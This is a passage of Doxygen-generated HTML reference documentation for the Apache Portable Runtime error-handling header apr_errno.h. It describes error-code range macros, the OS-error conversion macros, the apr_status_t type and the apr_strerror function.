class="paramname">e</td><td>The platform os error code. </td></tr> </table> </dd> </dl> <dl class="section warning"><dt>Warning</dt><dd>macro implementation; the syserr argument may be evaluated multiple times. </dd></dl> </div> </div> <a class="anchor" id="ga66e54f155b4a80ac7df9118af9bd896a"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">#define apr_get_netos_error</td> <td>(</td> <td class="paramname"></td><td>)</td> <td>   (errno)</td> </tr> </table> </div><div class="memdoc"> <p>Return the last socket error, folded into apr_status_t, on all platforms </p> <dl class="section remark"><dt>Remarks</dt><dd>This retrieves errno or calls a GetLastSocketError() style function, and folds it with APR_FROM_OS_ERROR. </dd></dl> </div> </div> <a class="anchor" id="gaa76e122da00af0ce2e8c8d7ff538bdfa"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">#define apr_get_os_error</td> <td>(</td> <td class="paramname"></td><td>)</td> <td>   (errno)</td> </tr> </table> </div><div class="memdoc"> <dl class="section return"><dt>Returns</dt><dd>apr_status_t the last platform error, folded into apr_status_t, on most platforms </dd></dl> <dl class="section remark"><dt>Remarks</dt><dd>This retrieves errno, or calls a GetLastError() style function, and folds it with APR_FROM_OS_ERROR. Some platforms (such as OS2) have no such mechanism, so this call may be unsupported. Do NOT use this call for socket errors from socket, send, recv etc! </dd></dl> </div> </div> <a class="anchor" id="gadb8d97e6836ccdc57b43b6119a5acccf"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">#define APR_OS_ERRSPACE_SIZE   50000</td> </tr> </table> </div><div class="memdoc"> <p>APR_OS_ERRSPACE_SIZE is the maximum number of errors you can fit into one of the error/status ranges below – except for APR_OS_START_USERERR, which see. </p> </div> </div> <a class="anchor" id="ga7bca957c11b80b31cb54b0d2cbe9e025"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">#define APR_OS_START_CANONERR</td> </tr> </table> </div><div class="memdoc"> <b>Value:</b><div class="fragment"><div class="line">(<a class="code" href="group__apr__errno.html#gacd35b2de1e38a1fa4717e38d5e153571">APR_OS_START_USERERR</a> \</div> <div class="line"> + (<a class="code" href="group__apr__errno.html#gadb8d97e6836ccdc57b43b6119a5acccf">APR_OS_ERRSPACE_SIZE</a> * 10))</div> <div class="ttc" id="group__apr__errno_html_gacd35b2de1e38a1fa4717e38d5e153571"><div class="ttname"><a href="group__apr__errno.html#gacd35b2de1e38a1fa4717e38d5e153571">APR_OS_START_USERERR</a></div><div class="ttdeci">#define APR_OS_START_USERERR</div><div class="ttdef"><b>Definition:</b> apr_errno.h:164</div></div> <div class="ttc" id="group__apr__errno_html_gadb8d97e6836ccdc57b43b6119a5acccf"><div class="ttname"><a href="group__apr__errno.html#gadb8d97e6836ccdc57b43b6119a5acccf">APR_OS_ERRSPACE_SIZE</a></div><div class="ttdeci">#define APR_OS_ERRSPACE_SIZE</div><div class="ttdef"><b>Definition:</b> apr_errno.h:123</div></div> </div><!-- fragment --><p>APR_OS_START_CANONERR is where APR versions of errno values are defined on systems which don't have the corresponding errno. </p> </div> </div> <a class="anchor" id="ga2d04991cb57c67a896e22125a1f22b49"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">#define APR_OS_START_EAIERR   (<a class="el" href="group__apr__errno.html#ga7bca957c11b80b31cb54b0d2cbe9e025">APR_OS_START_CANONERR</a> + <a class="el" href="group__apr__errno.html#gadb8d97e6836ccdc57b43b6119a5acccf">APR_OS_ERRSPACE_SIZE</a>)</td> </tr> </table> </div><div class="memdoc"> <p>APR_OS_START_EAIERR folds EAI_ error codes from getaddrinfo() into apr_status_t values. </p> </div> </div> <a class="anchor" id="ga191894048b7bd0cca3cf0bdff1eb695b"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">#define APR_OS_START_ERROR   20000</td> </tr> </table> </div><div class="memdoc"> <p>APR_OS_START_ERROR is where the APR specific error values start. </p> </div> </div> <a class="anchor" id="ga450e1a5734732e092ddaa5b67414f69b"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">#define APR_OS_START_STATUS   (<a class="el" href="group__apr__errno.html#ga191894048b7bd0cca3cf0bdff1eb695b">APR_OS_START_ERROR</a> + <a class="el" href="group__apr__errno.html#gadb8d97e6836ccdc57b43b6119a5acccf">APR_OS_ERRSPACE_SIZE</a>)</td> </tr> </table> </div><div class="memdoc"> <p>APR_OS_START_STATUS is where the APR specific status codes start. </p> </div> </div> <a class="anchor" id="gad70a5cad6862a9abcc254d35e827ac8b"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">#define APR_OS_START_SYSERR   (<a class="el" href="group__apr__errno.html#ga2d04991cb57c67a896e22125a1f22b49">APR_OS_START_EAIERR</a> + <a class="el" href="group__apr__errno.html#gadb8d97e6836ccdc57b43b6119a5acccf">APR_OS_ERRSPACE_SIZE</a>)</td> </tr> </table> </div><div class="memdoc"> <p>APR_OS_START_SYSERR folds platform-specific system error values into apr_status_t values. </p> </div> </div> <a class="anchor" id="ga803b8badf8695bdfa4fbcf4d330371f0"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">#define APR_OS_START_USEERR   <a class="el" href="group__apr__errno.html#gacd35b2de1e38a1fa4717e38d5e153571">APR_OS_START_USERERR</a></td> </tr> </table> </div><div class="memdoc"> <p>APR_OS_START_USEERR is obsolete, defined for compatibility only. Use APR_OS_START_USERERR instead. </p> </div> </div> <a class="anchor" id="gacd35b2de1e38a1fa4717e38d5e153571"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">#define APR_OS_START_USERERR   (<a class="el" href="group__apr__errno.html#ga450e1a5734732e092ddaa5b67414f69b">APR_OS_START_STATUS</a> + <a class="el" href="group__apr__errno.html#gadb8d97e6836ccdc57b43b6119a5acccf">APR_OS_ERRSPACE_SIZE</a>)</td> </tr> </table> </div><div class="memdoc"> <p>APR_OS_START_USERERR are reserved for applications that use APR that layer their own error codes along with APR's. Note that the error immediately following this one is set ten times farther away than usual, so that users of apr have a lot of room in which to declare custom error codes.</p> <p>In general applications should try and create unique error codes. To try and assist in finding suitable ranges of numbers to use, the following ranges are known to be used by the listed applications. If your application defines error codes please advise the range of numbers it uses to <a href="#" onclick="location.href='mai'+'lto:'+'dev'+'@a'+'pr.'+'ap'+'ach'+'e.'+'org'; return false;">dev@a<span style="display: none;">.nosp@m.</span>pr.a<span style="display: none;">.nosp@m.</span>pache<span style="display: none;">.nosp@m.</span>.org</a> for inclusion in this list.</p> <p>Ranges shown are in relation to APR_OS_START_USERERR</p> <p>Subversion - Defined ranges, of less than 100, at intervals of 5000 starting at an offset of 5000, e.g. +5000 to 5100, +10000 to 10100</p> <p>Apache HTTPD - +2000 to 2999 </p> </div> </div> <a class="anchor" id="gaafc38481621653ece6f592f9c5a9a09b"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">#define apr_set_netos_error</td> <td>(</td> <td class="paramtype"> </td> <td class="paramname">e</td><td>)</td> <td>   (errno = (e))</td> </tr> </table> </div><div class="memdoc"> <p>Reset the last socket error, unfolded from an apr_status_t </p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">e</td><td>The socket error folded in a prior call to <a class="el" href="group__apr__errno.html#ga2096daff578ef301e060b80c7a4525bf">APR_FROM_OS_ERROR()</a> </td></tr> </table> </dd> </dl> <dl class="section warning"><dt>Warning</dt><dd>This is a macro implementation; the statcode argument may be evaluated multiple times. If the statcode was not created by apr_get_os_error or APR_FROM_OS_ERROR, the results are undefined. This macro sets errno, or calls a WSASetLastError() style function, unfolding socketcode with APR_TO_OS_ERROR. </dd></dl> </div> </div> <a class="anchor" id="ga9a2d9a03ad314b03a142574be6d7d8a7"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">#define apr_set_os_error</td> <td>(</td> <td class="paramtype"> </td> <td class="paramname">e</td><td>)</td> <td>   (errno = (e))</td> </tr> </table> </div><div class="memdoc"> <p>Reset the last platform error, unfolded from an apr_status_t, on some platforms </p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">e</td><td>The OS error folded in a prior call to <a class="el" href="group__apr__errno.html#ga2096daff578ef301e060b80c7a4525bf">APR_FROM_OS_ERROR()</a> </td></tr> </table> </dd> </dl> <dl class="section warning"><dt>Warning</dt><dd>This is a macro implementation; the statcode argument may be evaluated multiple times. If the statcode was not created by apr_get_os_error or APR_FROM_OS_ERROR, the results are undefined. This macro sets errno, or calls a SetLastError() style function, unfolding statcode with APR_TO_OS_ERROR. Some platforms (such as OS2) have no such mechanism, so this call may be unsupported. </dd></dl> </div> </div> <a class="anchor" id="ga9ee311b7bf1c691dc521d721339ee2a6"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">#define APR_SUCCESS   0</td> </tr> </table> </div><div class="memdoc"> <p>no error. </p> </div> </div> <a class="anchor" id="ga2385cae04b04afbdcb65f1a45c4d8506"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">#define APR_TO_OS_ERROR</td> <td>(</td> <td class="paramtype"> </td> <td class="paramname">e</td><td>)</td> <td>   (e == 0 ? <a class="el" href="group__apr__errno.html#ga9ee311b7bf1c691dc521d721339ee2a6">APR_SUCCESS</a> : e - <a class="el" href="group__apr__errno.html#gad70a5cad6862a9abcc254d35e827ac8b">APR_OS_START_SYSERR</a>)</td> </tr> </table> </div><div class="memdoc"> <dl class="section return"><dt>Returns</dt><dd>os_err_type Fold an apr_status_t code back to the native platform defined error. </dd></dl> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">e</td><td>The apr_status_t folded platform os error code. </td></tr> </table> </dd> </dl> <dl class="section warning"><dt>Warning</dt><dd>macro implementation; the statcode argument may be evaluated multiple times. If the statcode was not created by apr_get_os_error or APR_FROM_OS_ERROR, the results are undefined. </dd></dl> </div> </div> <a class="anchor" id="ga2385cae04b04afbdcb65f1a45c4d8506"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">#define APR_TO_OS_ERROR</td> <td>(</td> <td class="paramtype"> </td> <td class="paramname">e</td><td>)</td> <td>   (e)</td> </tr> </table> </div><div class="memdoc"> <dl class="section return"><dt>Returns</dt><dd>os_err_type Fold an apr_status_t code back to the native platform defined error. </dd></dl> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">e</td><td>The apr_status_t folded platform os error code. </td></tr> </table> </dd> </dl> <dl class="section warning"><dt>Warning</dt><dd>macro implementation; the statcode argument may be evaluated multiple times. If the statcode was not created by apr_get_os_error or APR_FROM_OS_ERROR, the results are undefined. </dd></dl> </div> </div> <a class="anchor" id="gaef5e79630739f24d1512d0d044c2bae7"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">#define APR_UTIL_ERRSPACE_SIZE   20000</td> </tr> </table> </div><div class="memdoc"> <p>APR_UTIL_ERRSPACE_SIZE is the size of the space that is reserved for use within apr-util. This space is reserved above that used by APR internally. </p> <dl class="section note"><dt>Note</dt><dd>This number MUST be smaller than APR_OS_ERRSPACE_SIZE by a large enough amount that APR has sufficient room for its codes. </dd></dl> </div> </div> <a class="anchor" id="gadf26297a72afa0ea224e7097fe59a1cd"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">#define APR_UTIL_START_STATUS</td> </tr> </table> </div><div class="memdoc"> <b>Value:</b><div class="fragment"><div class="line">(<a class="code" href="group__apr__errno.html#ga450e1a5734732e092ddaa5b67414f69b">APR_OS_START_STATUS</a> + \</div> <div class="line"> (<a class="code" href="group__apr__errno.html#gadb8d97e6836ccdc57b43b6119a5acccf">APR_OS_ERRSPACE_SIZE</a> - <a class="code" href="group__apr__errno.html#gaef5e79630739f24d1512d0d044c2bae7">APR_UTIL_ERRSPACE_SIZE</a>))</div> <div class="ttc" id="group__apr__errno_html_ga450e1a5734732e092ddaa5b67414f69b"><div class="ttname"><a href="group__apr__errno.html#ga450e1a5734732e092ddaa5b67414f69b">APR_OS_START_STATUS</a></div><div class="ttdeci">#define APR_OS_START_STATUS</div><div class="ttdef"><b>Definition:</b> apr_errno.h:136</div></div> <div class="ttc" id="group__apr__errno_html_gaef5e79630739f24d1512d0d044c2bae7"><div class="ttname"><a href="group__apr__errno.html#gaef5e79630739f24d1512d0d044c2bae7">APR_UTIL_ERRSPACE_SIZE</a></div><div class="ttdeci">#define APR_UTIL_ERRSPACE_SIZE</div><div class="ttdef"><b>Definition:</b> apr_errno.h:132</div></div> <div class="ttc" id="group__apr__errno_html_gadb8d97e6836ccdc57b43b6119a5acccf"><div class="ttname"><a href="group__apr__errno.html#gadb8d97e6836ccdc57b43b6119a5acccf">APR_OS_ERRSPACE_SIZE</a></div><div class="ttdeci">#define APR_OS_ERRSPACE_SIZE</div><div class="ttdef"><b>Definition:</b> apr_errno.h:123</div></div> </div><!-- fragment --><p>APR_UTIL_START_STATUS is where APR-Util starts defining its status codes. </p> </div> </div> <h2 class="groupheader">Typedef Documentation</h2> <a class="anchor" id="gaf76ee4543247e9fb3f3546203e590a6c"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">typedef int <a class="el" href="group__apr__errno.html#gaf76ee4543247e9fb3f3546203e590a6c">apr_status_t</a></td> </tr> </table> </div><div class="memdoc"> <p>Type for specifying an error or status code. </p> </div> </div> <h2 class="groupheader">Function Documentation</h2> <a class="anchor" id="gaf2edf92be162ab8fb1bbc6f22856a131"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">char* apr_strerror </td> <td>(</td> <td class="paramtype"><a class="el" href="group__apr__errno.html#gaf76ee4543247e9fb3f3546203e590a6c">apr_status_t</a> </td> <td class="paramname"><em>statcode</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">char * </td> <td class="paramname"><em>buf</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">apr_size_t </td> <td class="paramname"><em>bufsize</em> </td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Return a human readable string describing the specified error. </p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">statcode</td><td>The error code to get a string for. </td></tr> <tr><td class="paramname">buf</td><td>A buffer to hold the error string. </td></tr> <tr><td class="paramname">bufsize</td><td>Size of the buffer to hold the string. </td></tr> </table> </dd> </dl> </div> </div> </div><!-- contents --> <!-- start footer part --> <hr class="footer"/><address class="footer"><small> Generated by  <a href="http://www.doxygen.org/index.html"> <img class="footer" src="doxygen.png" alt="doxygen"/> </a> 1.8.5 </small></address> </body> </html>
Close